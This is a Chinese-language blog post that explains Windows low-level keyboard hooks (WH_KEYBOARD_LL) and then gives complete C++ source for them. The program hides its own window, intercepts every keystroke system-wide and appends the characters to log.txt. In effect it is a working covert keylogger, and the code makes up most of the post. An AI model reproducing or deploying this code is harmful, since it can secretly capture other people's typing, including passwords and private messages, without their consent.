上一篇博客中介绍了一般全局键盘钩子,但是有几个缺点,一是代码不够简洁,需要两部分实现,二是效果不佳,对于64位进程无能为力。这篇博客介绍的低层键盘钩子,克服了以上缺点,在win7系统下做过测试,效果非常不错。
实现的原理是通过SetWindowsHookEx接口安装低层键盘钩子,低层键盘钩子由于是最底层的,系统的按键消息会优先发到安装低层键盘钩子线程的消息队列中,让它获得优先处理消息的能力,通过GetMessage接口在消息队列中取得消息,再通过TranslateMessage对消息进行虚拟键消息向字符消息的转换,再通过DispatchMessage将消息传递给消息处理函数进行处理。在消息处理函数中可以对消息进行各种处理包括记录、屏蔽等。
以下是低层键盘钩子代码:
//main.cpp
#include<windows.h>
#include<process.h>
#include<stdio.h>
#define WH_KEYBOARD_LL 13
#pragma comment(lib,"user32.lib")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//隐藏窗口
typedef struct {
DWORD vkCode;
DWORD scanCode;
DWORD flags;
DWORD time;
ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
HHOOK MyHook; //接收由SetWindowsHookEx返回的旧的钩子
int CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
int log(char vkcode);
//主函数
int main()
{
//安装钩子
MyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)&KeyboardProc,GetModuleHandle(NULL),NULL);
/*while(true){
Sleep(10000);
}*/
MSG msg;
while (GetMessage (&msg, NULL, 0, 0)!=-1) //消息循环
{
TranslateMessage (&msg);
DispatchMessage (&msg);
};
UnhookWindowsHookEx (MyHook);
return 0;
}
//回调函数,用于处理截获的按键消息
int CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code >= HC_ACTION && wParam==WM_KEYDOWN) //有键按下
{
DWORD vk_code = ((KBDLLHOOKSTRUCT*)lParam)->vkCode;
printf("lParam = %d code = %d HC_ACTION = %d WM_KEYDOWN=%d wParam = %d vk_code = %d\n",lParam,code,HC_ACTION,WM_KEYDOWN,wParam,vk_code);
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
ToAscii(vk_code,0,ks,&w,0);
char ch =char(w);
log(ch);
//printf("%d ",vk_code); //输出按键信息,注意这里按下和弹起都会输出
}
return CallNextHookEx(MyHook,code,wParam,lParam); //将消息还给钩子链,不要影响别人
}
//记录到文件
int log(char vkcode){
FILE *fl;
fl=fopen("log.txt","a+");
if(vkcode==13)
fwrite("\r\n",1,2,fl);//注意此处 count=2
else
fwrite(&vkcode, sizeof(char), 1, fl);//把按键字符 记录到文件
//printf("write ok\n");
fclose(fl);
return 0;
}